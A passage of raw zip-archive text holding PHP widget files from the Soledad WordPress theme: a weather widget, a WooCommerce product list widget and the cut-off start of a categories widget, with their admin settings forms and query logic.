                <label for="<?php echo esc_attr( $this->get_field_id( 'showborder' ) ); ?>"><?php esc_html_e( 'Remove Border at The Bottom?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'showborder' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'showborder' ) ); ?>" <?php checked( (bool) $instance['showborder'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'row_gap' ) ); ?>"><?php esc_html_e( 'Rows Gap Between Post Items ( Default: 20 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'row_gap' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'row_gap' ) ); ?>"
                       value="<?php echo esc_attr( $instance['row_gap'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptfsfe' ) ); ?>"><?php esc_html_e( 'Post Title Font Size on Featured Posts ( Default: 18 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'ptfsfe' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ptfsfe' ) ); ?>"
                       value="<?php echo esc_attr( $instance['ptfsfe'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptfs' ) ); ?>"><?php esc_html_e( 'Post Title Font Size ( Default: 14 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'ptfs' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ptfs' ) ); ?>"
                       value="<?php echo esc_attr( $instance['ptfs'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'pmfs' ) ); ?>"><?php esc_html_e( 'Post Meta Font Size ( Default: 11 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'pmfs' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'pmfs' ) ); ?>"
                       value="<?php echo esc_attr( $instance['pmfs'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'nbfs_big' ) ); ?>"><?php esc_html_e( 'Order Number Font Size for Featured Post ( Default: 36 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'nbfs_big' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'nbfs_big' ) ); ?>"
                       value="<?php echo esc_attr( $instance['nbfs_big'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'nbfs' ) ); ?>"><?php esc_html_e( 'Order Number Font Size ( Default: 18 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'nbfs' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'nbfs' ) ); ?>"
                       value="<?php echo esc_attr( $instance['nbfs'] ); ?>" size="3"/>
            </p>

			<?php
		}
	}
}
?>
PK     N\#!+-  -    inc/widgets/weather.phpnu [        <?php
/**
 * Weather Widget
 *
 * @package Soledad
 * @since 1.0
 */

add_action( 'widgets_init', 'penci_weather_widget' );

function penci_weather_widget() {
	register_widget( 'penci_weather_widget_class' );
}

if ( ! class_exists( 'penci_weather_widget_class' ) ) {
	class penci_weather_widget_class extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_weather_widget_class',
				'description' => esc_html__( 'A widget that displays your recent posts from all categories or a category', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'id_base' => 'penci_weather_widget_class' );

			/* Create the widget. */
			global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_weather_widget_class', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Weather', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_weather_widget_class', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Weather', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title      = isset( $instance['title'] ) ? $instance['title'] : '';
			$penci_location = isset( $instance['penci_location'] ) ? $instance['penci_location'] : '';
			$penci_location_show    = isset( $instance['penci_location_show'] ) ? $instance['penci_location_show'] : '';
			$penci_user_loc      = isset( $instance['penci_user_loc'] ) ? $instance['penci_user_loc'] : '';
			$penci_save_user_loc      = isset( $instance['penci_save_user_loc'] ) ? $instance['penci_save_user_loc'] : '';
			$units     = isset( $instance['units'] ) ? $instance['units'] : '';
			$penci_forcast      = isset( $instance['penci_forcast'] ) ? $instance['penci_forcast'] : '';

			

			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
			}


			$weather_data = \Penci_Weather::show_forecats( array(
				'location'      => $penci_location,
				'location_show' => $penci_location_show,
				'forecast_days' => $penci_forcast,
				'units'         => $units,
				'user_loc'		=> $penci_user_loc == 'enable',
				'cookie'		=> $penci_save_user_loc == 'enable',
			) );

			if( $weather_data ) {
				wp_enqueue_style( 'penci-font-iweather' );
				echo $weather_data;
			}else {
				echo '<div class="penci-block-error">';
				echo '<span>Weather widget</span>';
				echo ' You need to fill API key to Customize > General > Extra Options > Weather API Key to get this widget work.';
				echo '</div>';
			}
				

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			if ( ! empty( $new_instance['cats_id'] ) ) {
				if ( is_array( $new_instance['cats_id'] ) ) {
					$instance['cats_id'] = implode( ',', $new_instance['cats_id'] );
				} else {
					$instance['cats_id'] = esc_sql( $new_instance['cats_id'] );
				}
			} else {
				$instance['cats_id'] = false;
			}

			if ( ! empty( $new_instance['tags_id'] ) ) {
				if ( is_array( $new_instance['tags_id'] ) ) {
					$instance['tags_id'] = implode( ',', $new_instance['tags_id'] );
				} else {
					$instance['tags_id'] = esc_sql( $new_instance['tags_id'] );
				}
			} else {
				$instance['tags_id'] = false;
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			$defaults = array(
				'title'          => esc_html__( 'Weather', 'soledad' ),
				'penci_location'     => '',
				'penci_location_show'     => '',
				'penci_user_loc'     => '',
				'penci_save_user_loc'     => '',
				'units'     => '',
				'penci_forcast'     => '',
			);

			return $defaults;
		}

		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults = $this->soledad_widget_defaults();

			$cats_id = array();
			$tags_id = array();

			if ( isset( $instance['cats_id'] ) && ! empty( $instance['cats_id'] ) ) {
				$cats_id = explode( ',', $instance['cats_id'] );
			}
			if ( isset( $instance['tags_id'] ) && ! empty( $instance['tags_id'] ) ) {
				$tags_id = explode( ',', $instance['tags_id'] );
			}

			$instance = wp_parse_args( (array) $instance, $defaults );

			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			$instance_penci_location = $instance['penci_location'] ? str_replace( '"', '&quot;', $instance['penci_location'] ) : '';
			$instance_penci_location_show = $instance['penci_location_show'] ? str_replace( '"', '&quot;', $instance['penci_location_show'] ) : '';
			?>
            <style>span.description {
                    font-style: italic;
                    font-size: 13px;
                }</style>
            
            <!-- Widget Title: Text Input -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

            <!-- Location -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'penci_location' ) ); ?>"><?php esc_html_e( 'Search your for location:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'penci_location' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'penci_location' ) ); ?>"
                       value="<?php echo $instance_penci_location; ?>"/>
                <span class="description"><a href="<?php echo esc_url( 'http://openweathermap.org/find' );?>"><?php echo sprintf( '%s - You can use "city name" (ex: New York) or "city name,country code" (ex: New York, US)',
					'<a href="' . esc_url( 'http://openweathermap.org/find' ) . '">' . esc_html__( 'Find your location', 'soledad' ) . '</a>' ); ?></a></span>
                       
            </p>

            <!-- Location Show -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'penci_location_show' ) ); ?>"><?php esc_html_e( 'Custom Location Name Display:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'penci_location_show' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'penci_location_show' ) ); ?>"
                       value="<?php echo $instance_penci_location_show; ?>"/><span class="description"><?php echo esc_html__( 'If the option is empty,will display results from ', 'soledad' ) . '<a href="' . esc_url( 'http://openweathermap.org/find' ) . '">openweathermap.org</a>';?></span>
            </p>

            <!-- User Locations -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'penci_user_loc' ) ); ?>"><?php esc_html_e( 'Enable User Location:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'penci_user_loc' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'penci_user_loc' ) ); ?>" class="widefat penci_user_loc"
                        style="width:100%;">
                    <option value='disable' <?php if ( 'disable' == $instance['penci_user_loc'] ) { echo 'selected="selected"';} ?>><?php esc_html_e( 'Disable', 'soledad' ); ?></option>
                    <option value='enable' <?php if ( 'enable' == $instance['penci_user_loc'] ) { echo 'selected="selected"';} ?>><?php esc_html_e( 'Enable', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Save User Locations -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'penci_save_user_loc' ) ); ?>"><?php esc_html_e( 'Use Cookies to Save Weather Data When Users Access it Based on Their Location?', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'penci_save_user_loc' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'penci_save_user_loc' ) ); ?>" class="widefat penci_save_user_loc"
                        style="width:100%;">
                    <option value='disable' <?php if ( 'disable' == $instance['penci_save_user_loc'] ) { echo 'selected="selected"';} ?>><?php esc_html_e( 'Disable', 'soledad' ); ?></option>
                    <option value='enable' <?php if ( 'enable' == $instance['penci_save_user_loc'] ) { echo 'selected="selected"';} ?>><?php esc_html_e( 'Enable', 'soledad' ); ?></option>
                </select>
                <span class="description"><?php echo esc_html__( 'This option only applies when you enable the user\'s location above.', 'soledad' );?></span>
            </p>

            <!-- Units -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'units' ) ); ?>"><?php esc_html_e( 'Units:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'units' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'units' ) ); ?>" class="widefat units"
                        style="width:100%;">
                    <option value='imperial' <?php if ( 'imperial' == $instance['units'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'F', 'soledad' ); ?></option>
                    <option value='metric' <?php if ( 'metric' == $instance['units'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'C', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Units -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'penci_forcast' ) ); ?>"><?php esc_html_e( 'Forcast:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'penci_forcast' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'penci_forcast' ) ); ?>" class="widefat penci_forcast"
                        style="width:100%;">
                    <option value='1' <?php if ( '1' == $instance['penci_forcast'] ) { echo 'selected="selected"';} ?>><?php esc_html_e( '1 Day', 'soledad' ); ?></option>
                    <option value='2' <?php if ( '2' == $instance['penci_forcast'] ) { echo 'selected="selected"';} ?>><?php esc_html_e( '2 Days', 'soledad' ); ?></option>
                    <option value='3' <?php if ( '3' == $instance['penci_forcast'] ) { echo 'selected="selected"';} ?>><?php esc_html_e( '3 Days', 'soledad' ); ?></option>
                    <option value='4' <?php if ( '4' == $instance['penci_forcast'] ) { echo 'selected="selected"';} ?>><?php esc_html_e( '4 Days', 'soledad' ); ?></option>
                    <option value='5' <?php if ( '5' == $instance['penci_forcast'] ) { echo 'selected="selected"';} ?>><?php esc_html_e( '5 Days', 'soledad' ); ?></option>
                </select>
            </p>

			<?php
		}
	}
}
?>
PK     N\PPE  E    inc/widgets/product_lists.phpnu [        <?php
defined( 'ABSPATH' ) || exit;

/**
 * Widget products.
 */
if ( ! class_exists( 'Penci_Product_Lists' ) ) {
	class Penci_Product_Lists extends WP_Widget {
		private $widget_id;

		/**
		 * Constructor.
		 */
		public function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'woocommerce widget_products penci-product-list',
				'description' => esc_html__( 'A widget that displays your recent products from all categories or a category', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops     = array( 'id_base' => 'penci_products_list' );
			$this->widget_id = 'penci_products_list';

			/* Create the widget. */

			parent::__construct( 'penci_products_list', penci_get_theme_name('.Soledad',true).esc_html__( 'Products List', 'soledad' ), $widget_ops, $control_ops );

		}

		/**
		 * Output widget.
		 *
		 * @param array $args Arguments.
		 * @param array $instance Widget instance.
		 *
		 * @see WP_Widget
		 */
		public function widget( $args, $instance ) {
			ob_start();

			wc_set_loop_prop( 'name', 'widget' );

			$products = $this->get_products( $args, $instance );
			if ( $products && $products->have_posts() ) {
				$this->widget_start( $args, $instance );

				echo wp_kses_post( apply_filters( 'woocommerce_before_widget_product_list', '<ul class="product_list_widget">' ) );

				$template_args = array(
					'widget_id'   => isset( $args['widget_id'] ) && $args['widget_id'] ? $args['widget_id'] : $this->widget_id,
					'show_rating' => true,
				);

				while ( $products->have_posts() ) {
					$products->the_post();
					wc_get_template( 'content-widget-product.php', $template_args );
				}

				echo wp_kses_post( apply_filters( 'woocommerce_after_widget_product_list', '</ul>' ) );

				$this->widget_end( $args );
			}

			wp_reset_postdata();

			echo $this->cache_widget( $args, ob_get_clean() ); // WPCS: XSS ok.
		}

		/**
		 * Cache the widget.
		 *
		 * @param array $args Arguments.
		 * @param string $content Content.
		 *
		 * @return string the content that was cached
		 */
		public function cache_widget( $args, $content ) {
			// Don't set any cache if widget_id doesn't exist.
			if ( empty( $args['widget_id'] ) ) {
				return $content;
			}

			$cache = wp_cache_get( $this->get_widget_id_for_cache( $this->widget_id ), 'widget' );

			if ( ! is_array( $cache ) ) {
				$cache = array();
			}

			$cache[ $this->get_widget_id_for_cache( $args['widget_id'] ) ] = $content;

			wp_cache_set( $this->get_widget_id_for_cache( $this->widget_id ), $cache, 'widget' );

			return $content;
		}

		protected function get_widget_id_for_cache( $widget_id, $scheme = '' ) {
			if ( $scheme ) {
				$widget_id_for_cache = $widget_id . '-' . $scheme;
			} else {
				$widget_id_for_cache = $widget_id . '-' . ( is_ssl() ? 'https' : 'http' );
			}

			return apply_filters( 'woocommerce_cached_widget_id', $widget_id_for_cache );
		}

		/**
		 * Flush the cache.
		 */
		public function flush_widget_cache() {
			foreach ( array( 'https', 'http' ) as $scheme ) {
				wp_cache_delete( $this->get_widget_id_for_cache( $this->widget_id, $scheme ), 'widget' );
			}
		}

		public function widget_start( $args, $instance ) {
			echo $args['before_widget']; // phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped

			$title = apply_filters( 'widget_title', $this->get_instance_title( $instance ), $instance, $this->id_base );

			if ( $title ) {
				echo $args['before_title'] . $title . $args['after_title']; // phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped
			}
		}

		protected function get_instance_title( $instance ) {
			if ( isset( $instance['title'] ) ) {
				return $instance['title'];
			}

			if ( isset( $this->settings, $this->settings['title'], $this->settings['title']['std'] ) ) {
				return $this->settings['title']['std'];
			}

			return '';
		}

		public function widget_end( $args ) {
			echo $args['after_widget']; // phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped
		}

		/**
		 * Query the products and return them.
		 *
		 * @param array $args Arguments.
		 * @param array $instance Widget instance.
		 *
		 * @return WP_Query
		 */
		public function get_products( $args, $instance ) {
			$number                      = ! empty( $instance['number'] ) ? absint( $instance['number'] ) : 5;
			$show                        = ! empty( $instance['show'] ) ? sanitize_title( $instance['show'] ) : '';
			$orderby                     = ! empty( $instance['orderby'] ) ? sanitize_title( $instance['orderby'] ) : 'date';
			$order                       = ! empty( $instance['order'] ) ? sanitize_title( $instance['order'] ) : 'desc';
			$product_visibility_term_ids = wc_get_product_visibility_term_ids();

			$query_args = array(
				'posts_per_page' => $number,
				'post_status'    => 'publish',
				'post_type'      => 'product',
				'no_found_rows'  => 1,
				'order'          => $order,
				'meta_query'     => array(),
				'tax_query'      => array(
					'relation' => 'AND',
				),
			); // WPCS: slow query ok.

			if ( empty( $instance['show_hidden'] ) ) {
				$query_args['tax_query'][] = array(
					'taxonomy' => 'product_visibility',
					'field'    => 'term_taxonomy_id',
					'terms'    => is_search() ? $product_visibility_term_ids['exclude-from-search'] : $product_visibility_term_ids['exclude-from-catalog'],
					'operator' => 'NOT IN',
				);
				$query_args['post_parent'] = 0;
			}

			if ( ! empty( $instance['cats_id'] ) ) {
				$query_args['tax_query'][] = array(
					'taxonomy' => 'product_cat',
					'terms'    => explode( ',', $instance['cats_id'] ),
				);
			}

			if ( ! empty( $instance['tags_id'] ) ) {
				$query_args['tax_query'][] = array(
					'taxonomy' => 'product_tag',
					'terms'    => explode( ',', $instance['tags_id'] ),
				);
			}

			if ( ! empty( $instance['hide_free'] ) ) {
				$query_args['meta_query'][] = array(
					'key'     => '_price',
					'value'   => 0,
					'compare' => '>',
					'type'    => 'DECIMAL',
				);
			}

			if ( 'yes' === get_option( 'woocommerce_hide_out_of_stock_items' ) ) {
				$query_args['tax_query'][] = array(
					array(
						'taxonomy' => 'product_visibility',
						'field'    => 'term_taxonomy_id',
						'terms'    => $product_visibility_term_ids['outofstock'],
						'operator' => 'NOT IN',
					),
				); // WPCS: slow query ok.
			}

			switch ( $show ) {
				case 'featured':
					$query_args['tax_query'][] = array(
						'taxonomy' => 'product_visibility',
						'field'    => 'term_taxonomy_id',
						'terms'    => $product_visibility_term_ids['featured'],
					);
					break;
				case 'onsale':
					$product_ids_on_sale    = penci_get_product_ids_on_sale();
					$product_ids_on_sale[]  = 0;
					$query_args['post__in'] = $product_ids_on_sale;
					break;
			}

			switch ( $orderby ) {
				case 'price':
					$query_args['meta_key'] = '_price'; // WPCS: slow query ok.
					$query_args['orderby']  = 'meta_value_num';
					break;
				case 'rand':
					$query_args['orderby'] = 'rand';
					break;
				case 'sales':
					$query_args['meta_key'] = 'total_sales'; // WPCS: slow query ok.
					$query_args['orderby']  = 'meta_value_num';
					break;
				default:
					$query_args['orderby'] = 'date';
			}

			return new WP_Query( apply_filters( 'woocommerce_products_widget_query_args', $query_args ) );
		}

		function soledad_widget_defaults() {
			return [
				'title'       => 'Penci Products List',
				'cats_id'     => '',
				'tags_id'     => '',
				'orderby'     => 'date',
				'order'       => 'desc',
				'show'        => '',
				'hide_free'   => '',
				'show_hidden' => '',
				'number'      => 5,
				'offset'      => '',
			];
		}

		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults = $this->soledad_widget_defaults();

			$cats_id = array();
			$tags_id = array();

			if ( isset( $instance['cats_id'] ) && ! empty( $instance['cats_id'] ) ) {
				$cats_id = explode( ',', $instance['cats_id'] );
			}
			if ( isset( $instance['tags_id'] ) && ! empty( $instance['tags_id'] ) ) {
				$tags_id = explode( ',', $instance['tags_id'] );
			}

			$instance = wp_parse_args( (array) $instance, $defaults );

			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>
            <style>span.description {
					font-style: italic;
					font-size: 13px;
				}</style>
            <!-- Widget Title: Text Input -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

            <!-- Category -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'cats_id' ) ); ?>"><?php esc_html_e( 'Include Categories:', 'soledad' ); ?></label>
                <select multiple="multiple" id="<?php echo esc_attr( $this->get_field_id( 'cats_id' ) ); ?>[]"
                        name="<?php echo esc_attr( $this->get_field_name( 'cats_id' ) ); ?>[]"
                        class="widefat categories" style="width:100%; height: 125px;">
                    <option value='' <?php if ( in_array( 'all', $cats_id ) ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'All categories', 'soledad' ); ?></option>
					<?php $categories = get_terms( array(
						'taxonomy'   => 'product_cat',
						'hide_empty' => false,
					) ); ?>
					<?php foreach ( $categories as $category ) { ?>
                        <option value='<?php echo esc_attr( $category->term_id ); ?>' <?php if ( in_array( $category->term_id, $cats_id ) ) {
							echo 'selected="selected"';
						} ?>><?php echo sanitize_text_field( $category->name ); ?></option>
					<?php } ?>
                </select>
                <span class="description"><?php _e( 'Hold the "Ctrl" on the keyboard and click to select/un-select multiple categories.', 'soledad' ); ?></span>
            </p>

            <!-- Tags -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'tags_id' ) ); ?>"><?php esc_html_e( 'Include Tags:', 'soledad' ); ?></label>
                <select multiple="multiple" id="<?php echo esc_attr( $this->get_field_id( 'tags_id' ) ); ?>[]"
                        name="<?php echo esc_attr( $this->get_field_name( 'tags_id' ) ); ?>[]"
                        class="widefat categories" style="width:100%; height: 125px;">
                    <option value='' <?php if ( in_array( 'all', $tags_id ) ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'All tags', 'soledad' ); ?></option>
					<?php $tags = get_terms( array(
						'taxonomy'   => 'product_tag',
						'hide_empty' => false,
					) ); ?>
					<?php foreach ( $tags as $tag ) { ?>
                        <option value='<?php echo esc_attr( $tag->term_id ); ?>' <?php if ( in_array( $tag->term_id, $tags_id ) ) {
							echo 'selected="selected"';
						} ?>><?php echo sanitize_text_field( $tag->name ); ?></option>
					<?php } ?>
                </select>
                <span class="description"><?php _e( 'Hold the "Ctrl" on the keyboard and click to select/un-select multiple tags.', 'soledad' ); ?></span>
            </p>

            <!-- Show -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show' ) ); ?>"><?php esc_html_e( 'Show:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'show' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'show' ) ); ?>" class="widefat show"
                        style="width:100%;">
                    <option value='' <?php if ( '' == $instance['show'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'All products', 'soledad' ); ?></option>
                    <option value='featured' <?php if ( 'featured' == $instance['show'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Featured products', 'soledad' ); ?></option>
                    <option value='onsale' <?php if ( 'onsale' == $instance['show'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'On-sale products', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Order by -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"><?php esc_html_e( 'Order By:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'orderby' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='date' <?php if ( 'date' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Published Date', 'soledad' ); ?></option>
                    <option value='price' <?php if ( 'price' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Price', 'soledad' ); ?></option>
                    <option value='rand' <?php if ( 'rand' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Random', 'soledad' ); ?></option>
                    <option value='sales' <?php if ( 'sales' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Sales', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Order -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"><?php esc_html_e( 'Select Order Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'order' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='DESC' <?php if ( 'DESC' == $instance['order'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'DESC ( Descending Order )', 'soledad' ); ?></option>
                    <option value='ASC' <?php if ( 'ASC' == $instance['order'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'ASC ( Ascending Order )', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Number of posts -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"><?php esc_html_e( 'Number of posts to show:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'number' ) ); ?>"
                       value="<?php echo esc_attr( $instance['number'] ); ?>" size="3"/>
            </p>

            <!-- Offset of products -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'offset' ) ); ?>"><?php esc_html_e( 'Number of offset Posts:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'offset' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'offset' ) ); ?>"
                       value="<?php echo esc_attr( $instance['offset'] ); ?>" size="3"/>
            </p>

            <!-- Products Misc -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'hide_free' ) ); ?>"><?php esc_html_e( 'Hide Free Products?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'hide_free' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'hide_free' ) ); ?>" <?php checked( (bool) $instance['hide_free'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show_hidden' ) ); ?>"><?php esc_html_e( 'Show Hidden Products?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'show_hidden' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'show_hidden' ) ); ?>" <?php checked( (bool) $instance['show_hidden'], true ); ?> />
            </p>

			<?php
		}

		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			if ( ! empty( $new_instance['cats_id'] ) ) {
				if ( is_array( $new_instance['cats_id'] ) ) {
					$instance['cats_id'] = implode( ',', $new_instance['cats_id'] );
				} else {
					$instance['cats_id'] = esc_sql( $new_instance['cats_id'] );
				}
			} else {
				$instance['cats_id'] = false;
			}

			if ( ! empty( $new_instance['tags_id'] ) ) {
				if ( is_array( $new_instance['tags_id'] ) ) {
					$instance['tags_id'] = implode( ',', $new_instance['tags_id'] );
				} else {
					$instance['tags_id'] = esc_sql( $new_instance['tags_id'] );
				}
			} else {
				$instance['tags_id'] = false;
			}

			$this->flush_widget_cache();

			return $instance;
		}
	}

	add_action( 'widgets_init', function () {
		register_widget( 'Penci_Product_Lists' );
	} );
}
PK     N\z=:  :  "  inc/widgets/categories_stylist.phpnu [        <?php

if ( ! class_exists( 'penci_categories_stylist' ) ) {

	/**
	 * Register the widget.
	 */
	add_action( 'widgets_init', 'penci_categories_stylist_widget_register' );
	function penci_categories_stylist_widget_register() {
		register_widget( 'penci_categories_stylist' );
	}

	/**
	 * Widget API: penci_categories_stylist class
	 */
	class penci_categories_stylist extends WP_Widget {


		public function __construct() {
			$widget_ops = array( 'classname' => 'penci-categories-stylist' );
			parent::__construct( 'penci-categories-stylist', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Categories Stylist', 'soledad' ), $widget_ops );
		}

		/**
		 * Outputs the content for the widget instance.
		 */
		public function widget( $args, $instance ) {

			/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
			$instance['title'] = apply_filters( 'widget_title', empty( $instance['title'] ) ? '' : $instance['title'], $instance, $this->id_base );

			echo( $args['before_widget'] );

			if ( ! empty( $instance['title'] ) ) {
				echo( $args['before_title'] . $instance['title'] . $args['after_title'] );
			}

			$style  = ! empty( $instance['style'] ) ? $instance['style'] : '';
			$layout = ! empty( $instance['layout'] ) ? $instance['layout'] : '';

			$show_bgs   = ! empty( $instance['show_bgs'] ) ? 'true' : false;
			$show_count = ! empty( $instance['show_count'] ) ? 'true' : false;
			$hide_empty = isset( $instance['hide_empty'] ) ? $instance['hide_empty'] : '';
